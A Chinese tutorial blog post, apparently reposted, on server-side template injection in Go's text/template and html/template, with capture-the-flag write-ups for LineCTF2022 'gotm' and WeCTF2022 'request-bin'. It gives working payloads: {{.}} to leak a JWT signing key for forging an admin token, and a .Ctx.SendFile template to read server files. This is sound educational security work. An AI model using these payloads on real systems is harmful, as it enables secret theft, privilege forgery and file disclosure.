浅学Go下的ssti

news/2024/4/28 2:32:05/文章来源:https://blog.csdn.net/YJ_12340/article/details/130584459

前言

作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题

GO模板引擎

Go 提供了两个模板包。一个是 text/template,另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序

template简介

template之所以称作为模板的原因就是其由静态内容和动态内容所组成,可以根据动态内容的变化而生成不同的内容信息交由客户端,以下即一个简单例子

模板内容 Hello, {{.Name}} Welcome to go web programming…
期待输出 Hello, liumiaocn Welcome to go web programming…

而作为go所提供的模板包,text/template和html/template的主要区别就在于对于特殊字符的转义与转义函数的不同,但其原理基本一致,均是动静态内容结合,以下是两种模板的简单演示

text/template

package mainimport ("net/http""text/template"
)type User struct {ID       intName  stringEmail    stringPassword string
}func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {user := &User{1,"John", "test@example.com", "test123"}r.ParseForm()tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}`data := map[string]string{"Name":  user.Name,"Email": user.Email,}html := template.Must(template.New("login").Parse(tpl))html.Execute(w, data)
}func main() {server := http.Server{Addr: "127.0.0.1:8888",}http.HandleFunc("/string", StringTpl2Exam)server.ListenAndServe()
}

struct是定义了的一个结构体,在go中,我们是通过结构体来类比一个对象,因此他的字段就是一个对象的属性,在该实例中,我们所期待的输出内容为下

模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}
期待输出 <h1>Hi, John</h1><br>Your Email is test@example.com

可以看得出来,当传入参数可控时,就会经过动态内容生成不同的内容,而我们又可以知道,go模板是提供字符串打印功能的,我们就有机会实现xss

package mainimport ("net/http""text/template"
)type User struct {ID       intName  stringEmail    stringPassword string
}func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {user := &User{1,"John", "test@example.com", "test123"}r.ParseForm()tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}`data := map[string]string{"Name":  user.Name,"Email": user.Email,}html := template.Must(template.New("login").Parse(tpl))html.Execute(w, data)
}func main() {server := http.Server{Addr: "127.0.0.1:8888",}http.HandleFunc("/string", StringTpl2Exam)server.ListenAndServe()
}
模板内容 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}
期待输出 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is test@example.com
实际输出 弹出/xss/

这里就是text/template和html/template的最大不同了

html/template

同样的例子,但是我们把导入的模板包变成html/template

package mainimport ("net/http""html/template"
)type User struct {ID       intName  stringEmail    stringPassword string
}func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {user := &User{1,"John", "test@example.com", "test123"}r.ParseForm()tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}`data := map[string]string{"Name":  user.Name,"Email": user.Email,}html := template.Must(template.New("login").Parse(tpl))html.Execute(w, data)
}func main() {server := http.Server{Addr: "127.0.0.1:8888",}http.HandleFunc("/string", StringTpl2Exam)server.ListenAndServe()
}

可以看到,xss语句已经被转义实体化了,因此对于html/template来说,传入的script和js都会被转义,很好地防范了xss,但text/template也提供了内置函数html来转义特殊字符,除此之外还有js,也存在template.HTMLEscapeString等转义函数

而通过html/template包等,go提供了诸如Parse/ParseFiles/Execute等方法可以从字符串或者文件加载模板然后注入数据形成最终要显示的结果

html/template 包会做一些编码来帮助防止代码注入,而且这种编码方式是上下文相关的,这意味着它可以发生在 HTML、CSS、JavaScript 甚至 URL 中,模板库将确定如何正确编码文本

template常用基本语法

{{}}内的操作称之为pipeline

{{.}} 表示当前对象,如user对象{{.FieldName}} 表示对象的某个字段{{range …}}{{end}} go中for…range语法类似,循环{{with …}}{{end}} 当前对象的值,上下文{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择{{xxx | xxx}} 左边的输出作为右边的输入{{template "navbar"}} 引入子模版

漏洞演示

在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符.

在template中,点"."代表当前作用域的当前对象,它类似于java/c++的this关键字,类似于perl/python的self

package mainimport ("net/http""text/template"
)type User struct {ID       intName  stringEmail    stringPassword string
}func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {user := &User{1,"John", "test@example.com", "test123"}r.ParseForm()tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}`data := map[string]string{"Name":  user.Name,"Email": user.Email,}html := template.Must(template.New("login").Parse(tpl))html.Execute(w, data)
}func main() {server := http.Server{Addr: "127.0.0.1:8888",}http.HandleFunc("/string", StringTpl2Exam)server.ListenAndServe()
}

输出为

模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}
期待输出 <h1>Hi, John</h1><br>Your Email is map[Email:test@example.com Name:John]

可以看到结构体内的都会被打印出来,我们也常常利用这个检测是否存在SSTI

接下来就以几道题目来验证一下

[LineCTF2022]gotm

package mainimport ("encoding/json""fmt""log""net/http""os""text/template""github.com/golang-jwt/jwt"
)type Account struct {id         stringpw         stringis_admin   boolsecret_key string
}type AccountClaims struct {Id       string `json:"id"`Is_admin bool   `json:"is_admin"`jwt.StandardClaims
}type Resp struct {Status bool   `json:"status"`Msg    string `json:"msg"`
}type TokenResp struct {Status bool   `json:"status"`Token  string `json:"token"`
}var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")func clear_account() {acc = acc[:1]
}func get_account(uid string) Account {for i := range acc {if acc[i].id == uid {return acc[i]}}return Account{}
}func jwt_encode(id string, is_admin bool) (string, error) {claims := AccountClaims{id, is_admin, jwt.StandardClaims{},}token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)return token.SignedString([]byte(secret_key))
}func jwt_decode(s string) (string, bool) {token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {return []byte(secret_key), nil})if err != nil {fmt.Println(err)return "", false}if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {return claims.Id, claims.Is_admin}return "", false
}func auth_handler(w http.ResponseWriter, r *http.Request) {uid := r.FormValue("id")upw := r.FormValue("pw")if uid == "" || upw == "" {return}if len(acc) > 1024 {clear_account()}user_acc := get_account(uid)if user_acc.id != "" && user_acc.pw == upw {token, err := jwt_encode(user_acc.id, user_acc.is_admin)if err != nil {return}p := TokenResp{true, token}res, err := json.Marshal(p)if err != nil {}w.Write(res)return}w.WriteHeader(http.StatusForbidden)return
}func regist_handler(w http.ResponseWriter, r *http.Request) {uid := r.FormValue("id")upw := r.FormValue("pw")if uid == "" || upw == "" {return}if get_account(uid).id != "" {w.WriteHeader(http.StatusForbidden)return}if len(acc) > 4 {clear_account()}new_acc := Account{uid, upw, false, secret_key}acc = append(acc, new_acc)p := Resp{true, ""}res, err := json.Marshal(p)if err != nil {}w.Write(res)return
}func flag_handler(w http.ResponseWriter, r *http.Request) {token := r.Header.Get("X-Token")if token != "" {id, is_admin := jwt_decode(token)if is_admin == true {p := Resp{true, "Hi " + id + ", flag is " + flag}res, err := json.Marshal(p)if err != nil {}w.Write(res)return} else {w.WriteHeader(http.StatusForbidden)return}}
}func root_handler(w http.ResponseWriter, r *http.Request) {token := r.Header.Get("X-Token")if token != "" {id, _ := jwt_decode(token)acc := get_account(id)tpl, err := template.New("").Parse("Logged in as " + acc.id)if err != nil {}tpl.Execute(w, &acc)} else {return}
}func main() {admin := Account{admin_id, admin_pw, true, secret_key}acc = append(acc, admin)http.HandleFunc("/", root_handler)http.HandleFunc("/auth", auth_handler)http.HandleFunc("/flag", flag_handler)http.HandleFunc("/regist", regist_handler)log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}

我们先对几个路由和其对应的函数进行分析

struct结构

type Account struct {id         stringpw         stringis_admin   boolsecret_key string
}

注册功能

func regist_handler(w http.ResponseWriter, r *http.Request) {uid := r.FormValue("id")upw := r.FormValue("pw")if uid == "" || upw == "" {return}if get_account(uid).id != "" {w.WriteHeader(http.StatusForbidden)return}if len(acc) > 4 {clear_account()}new_acc := Account{uid, upw, false, secret_key} //创建新用户acc = append(acc, new_acc)p := Resp{true, ""}res, err := json.Marshal(p)if err != nil {}w.Write(res)return
}

登录功能

func auth_handler(w http.ResponseWriter, r *http.Request) {uid := r.FormValue("id")upw := r.FormValue("pw")if uid == "" || upw == "" {return}if len(acc) > 1024 {clear_account()}user_acc := get_account(uid)if user_acc.id != "" && user_acc.pw == upw {    //检验id和pwtoken, err := jwt_encode(user_acc.id, user_acc.is_admin)if err != nil {return}p := TokenResp{true, token}     //返回tokenres, err := json.Marshal(p)if err != nil {}w.Write(res)return}w.WriteHeader(http.StatusForbidden)return
}

认证功能

func root_handler(w http.ResponseWriter, r *http.Request) {token := r.Header.Get("X-Token")if token != "" {    //根据token解出id,根据uid取出对应accountid, _ := jwt_decode(token)acc := get_account(id)tpl, err := template.New("").Parse("Logged in as " + acc.id)if err != nil {}tpl.Execute(w, &acc)} else {return}
}

得到account

func get_account(uid string) Account {for i := range acc {if acc[i].id == uid {return acc[i]}}return Account{}
}

flag路由

func flag_handler(w http.ResponseWriter, r *http.Request) {token := r.Header.Get("X-Token")if token != "" {id, is_admin := jwt_decode(token)if is_admin == true {   //将is_admin修改为true即可得到flagp := Resp{true, "Hi " + id + ", flag is " + flag}res, err := json.Marshal(p)if err != nil {}w.Write(res)return} else {w.WriteHeader(http.StatusForbidden)return}}
}

所以思路就清晰了,我们需要得到secret_key,然后继续jwt伪造得到flag

而由于root_handler函数中得到的acc是数组中的地址,即会在全局变量acc函数中查找我们的用户,这时传入{{.secret_key}}会返回空,所以我们用{{.}}来得到结构体内所有内容

/regist?id={{.}}&pw=123

/auth?id={{.}}&pw=123
{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}

带上token重新访问

Logged in as {{{.}} 123 false this_is_f4Ke_key}

得到secret_key,进行jwt伪造,把 is_admin修改为true,key填上secret_key得到

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo

带上token访问/flag

[WeCTF2022]request-bin

洁白一片,使用{{.}}进行检测

这道题目采用的框架是iris,用户可以对日志的格式参数进行控制,而参数又会被当成模板渲染,所以我们就可以利用该点进行ssti

我们需要的是进行文件的读取,所以我们需要看看irisaccesslog库的模板注入如何利用

在Accesslog的结构体中可以发现

type Log struct {// The AccessLog instance this Log was created of.Logger *AccessLog `json:"-" yaml:"-" toml:"-"`// The time the log is created.Now time.Time `json:"-" yaml:"-" toml:"-"`// TimeFormat selected to print the Time as string,// useful on Template Formatter.TimeFormat string `json:"-" yaml:"-" toml:"-"`// Timestamp the Now's unix timestamp (milliseconds).Timestamp int64 `json:"timestamp" csv:"timestamp"`// Request-Response latency.Latency time.Duration `json:"latency" csv:"latency"`// The response status code.Code int `json:"code" csv:"code"`// Init request's Method and Path.Method string `json:"method" csv:"method"`Path   string `json:"path" csv:"path"`// The Remote Address.IP string `json:"ip,omitempty" csv:"ip,omitempty"`// Sorted URL Query arguments.Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"`// Dynamic path parameters.PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"`// Fields any data information useful to represent this Log.Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"`// The Request and Response raw bodies.// If they are escaped (e.g. JSON),// A third-party software can read it through:// data, _ := strconv.Unquote(log.Request)// err := json.Unmarshal([]byte(data), &customStruct)Request  string `json:"request,omitempty" csv:"request,omitempty"`Response string `json:"response,omitempty" csv:"response,omitempty"`//  The actual number of bytes received and sent on the network (headers + body or body only).BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"`BytesSent     int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"`// A copy of the Request's Context when Async is true (safe to use concurrently),// otherwise it's the current Context (not safe for concurrent access).Ctx *context.Context `json:"-" yaml:"-" toml:"-"`
}

这里我们经过审查,会发现context里面存在SendFile进行文件强制下载

所以我们可以构造payload如下

{{ .Ctx.SendFile "/flag" "1.txt"}}

后言

golang的template跟很多模板引擎的语法差不多,比如双花括号指定可解析的对象,假如我们传入的参数是可解析的,就有可能造成泄露,其本质就是合并替换,而常用的检测payload可以用占位符.,对于该漏洞的防御也是多注意对传入参数的控制

参考

  •  https://docs.iris-go.com/iris/file-server/context-file-server

  •  https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html

  • https://www.onsecurity.io/blog/go-ssti-method-research/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_298129.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

uniapp实现微信小程序横屏适配问题demo效果(整理)

使用VMIN进行布局 先了解css3的两个属性vmax和vmin vmax 相对于视口的宽度或高度中较大的那个。其中最大的那个被均分为100单位的vmax vmin 相对于视口的宽度或高度中较小的那个。其中最小的那个被均分为100单位的vmin竖屏布局的时候&#xff0c;750rpx就是竖屏布局屏幕的宽度…

camunda的Java委托如何使用

一、camunda的Java委托有什么用途 在Camunda中&#xff0c;Java委托是一种用于在流程执行期间执行自定义逻辑的Java类。使用Java委托&#xff0c;您可以在流程执行期间通过Java代码实现各种复杂的业务逻辑。 以下是一些使用Java委托的常见用途&#xff1a; 1、计算值&#x…

搞懂 API,API 常见技术使用场景分享

API&#xff08;应用程序编程接口&#xff09;是一种允许软件应用程序之间相互交互和通信的技术。以下是API常用的使用场景&#xff1a; 应用程序开发 API通常被用于网站或应用程序的开发中&#xff0c;以便在不同平台、语言及数据库之间获取数据或进行消息传递。例如&#xff…

搭建本地仓库源

一、如何搭建仓库源 之前讲了定制ISO的方法&#xff1a;使用chroot定制系统&#xff0c;但有时候我们想自定义的安装包不在上游的仓库源中&#xff0c;在我们本地应该怎么办呢&#xff1f;如果我们将deb包拷贝到iso目录再安装有点过于麻烦了&#xff0c;而且还可能需要手动处理…

113.【Vue-细刷-04】

Vue-03 (二十四)、浏览器存储(WebStorage)1.本地缓存(LocalStorage)(1). 模仿本地缓存-未用JSON转字符串(2).模拟本地缓存-使用JSON转字符串 2.会话缓存(Session Storage)(1).模拟会话缓存(2).会话缓存和本地缓存的区别(3).JSON转换与JSON解析 3.todos案列_本地缓存版(1).mount…

flink集群安装部署

1.下载 官网下载&#xff1a;Downloads | Apache Flink 阿里网盘下载&#xff08;包含依赖包&#xff09;&#xff1a;阿里云盘分享 提取码&#xff1a;9bl2 2.解压 tar -zxvf flink-1.12.7-bin-scala_2.11.tgz -C ../opt/module 3.修改配置文件 cd flink-1.12.7/conf/ …

【Java】javafx | 打包成jar包

一、说明 1、javafx项目 2、maven管理 二、解决方案 1&#xff09;加入maven插件 <build><resources><resource><!-- 这里是放在 src/main/java--><directory>src/main/java</directory><includes><include>**/*.properties&…

深度学习 - 46.DIN 深度兴趣网络

目录 一.引言 二.摘要 ABSTRACT 三.介绍 INTRODUCTION 1.CTR 在广告系统的作用 2.传统 MLP 存在的问题 3.DIN 的改进 四.近期工作 RELATEDWORK 1.传统推荐算法 2.用户行为抽取 五.背景 BACKGROUD 六.深度兴趣网络 DEEP INTEREST NETWORK 1.特征表示 Feature Repres…

【操作系统】从操作系统底层出发,成为更好的程序员

冯老爷子的模型 首先&#xff0c;我们从一个问题开始(&#xffe3;∇&#xffe3;)/ 为什么需要程序员&#xff1f; 早期的计算机程序是硬件化的&#xff0c;即使用各种门电路组装出一个固定的电路板&#xff0c;这个电路板只能用于执行某个特定的程序&#xff0c;如果需要修…

Java并发编程实践学习笔记(三)——共享对象之可见性

目录 1 过期数据 2 非原子的64位操作 3 锁和可见性 4 Volatile变量&#xff08;Volatile Variables&#xff09; 在单线程环境中&#xff0c;如果向某个变量写入值&#xff0c;在没有其他写入操作的情况下读取这个变量&#xff0c;那么总能得到相同的值。然而&…

ALOHA 开源机械臂(Viper 300 Widow X 250 6DOF机械臂组成)第一部分

软件简介&#xff1a; ALOHA 即 A Low-cost Open-source Hardware System for Bimanual Teleoperation&#xff0c;是一个低成本的开源双手遥控操作硬件系统&#xff0c;即开源机械臂。其算法 Action Chunking with Transformers (ACT) 采用了神经网络模型 Transformers&#…

C#学习笔记--实现一个可以重复权重并且能够自动排序的容器--MultiplySortedSet

目录 前言SortedSetC#自带类型自定义类SortedSet权值重复 需求自定义容器 -- MultiplySortedSet核心实现思路 MultiplySortedSet 使用C#自带类型自定义类 前言 最近需要在C#中实现一个功能 有一个容器&#xff0c;该容器能自动对里面的元素进行排序&#xff0c;类似C的优先队列…

FS5175AE降压型1-4节锂电池充电芯片

FS5175AE是一款工作于5V到24V的多串锂电池同步开关降压充电管理芯片。内置MOS管集成了低导通阻抗的NMOS&#xff0c;FS5175AE采用1MHz同步开关架构&#xff0c;实现高 效率充电并简化外围器件&#xff0c;降低BOM成本。通过调节检测电阻&#xff0c;可实现**2A充电电流&#xf…

SpringCloud(22):Sentinel对Feign的支持

Sentinel 适配了 Feign组件。如果想使用&#xff0c;除了引入 spring-cloud-starter-alibaba-sentinel 的依赖外还需要 2个步骤&#xff1a; 配置文件打开 Sentinel 对 Feign 的支持&#xff1a;feign.sentinel.enabledtrue加入 spring-cloud-starter-openfeign 依赖使 Sentin…

基于Linux系统在线安装RabbitMQ

一、前言 二、Erlang下载安装 三、RabbitMQ下载安装 三、RabbitMQ Web界面管理 一、前言 本次安装使用的操作系统是Linux centOS7。 二、Erlang下载安装 在确定了RabbitMQ版本号后&#xff0c;先下载安装Erlang环境。下面演示操作过程&#xff1a; Erlang下载链接&#…

[工具]Pytorch-lightning的使用

Pytorch-lightning的使用 Pytorch-lightning介绍Pytorch-lightning与Pytorch的区别Pytorch-lightning框架的优势Pytorch-lightning框架 重要资源 Pytorch-lightning介绍 这里介绍Pytorch_lighting框架. Pytorch-lightning与Pytorch的区别 Pytorch-lightning可以简单的看作是…

强化学习p3-策略学习

Policy Network (策略网络) 我们无法知道策略函数 π \pi π所以要做函数近似&#xff0c;求一个近似的策略函数 使用策略网络 π ( a ∣ s ; θ ) \pi(a|s;\theta) π(a∣s;θ) 去近似策略函数 π ( a ∣ s ) \pi(a|s) π(a∣s) ∑ a ∈ A π ( a ∣ s ; θ ) 1 \sum_{a\in …

《狂飙》原著来了,邀你重新见证

2023年的开篇十分精彩且丰富&#xff0c;经历过生活的不幸&#xff0c;新的一年万物复兴&#xff0c;每个人心底那颗躁动的心又重新释放&#xff0c;希望新的开始不负所望&#xff0c;年末复盘时所得皆所愿&#xff01; 开篇 开年影视第一炮&#xff0c;炸出了所有人被压抑的内…

告别PPT手残党!这6款AI神器,让你秒变PPT王者!

如果你是一个PPT手残党&#xff0c;每每制作PPT总是让你焦头烂额&#xff0c;那么你一定需要这篇幽默拉风的推广文案&#xff01; 我向你保证&#xff0c;这篇文案将帮助你发现6款AI自动生成PPT的神器&#xff0c;让你告别PPT手残党的身份&#xff0c;成为一名PPT王者。 无论…

计算机图形学 | 实验六:旋转立方体

计算机图形学 | 实验六&#xff1a;旋转立方体 计算机图形学 | 实验六&#xff1a;旋转立方体Z-缓冲GLM函数库PVM矩阵PVM矩阵的使用 华中科技大学《计算机图形学》课程 MOOC地址&#xff1a;计算机图形学&#xff08;HUST&#xff09; 计算机图形学 | 实验六&#xff1a;旋转…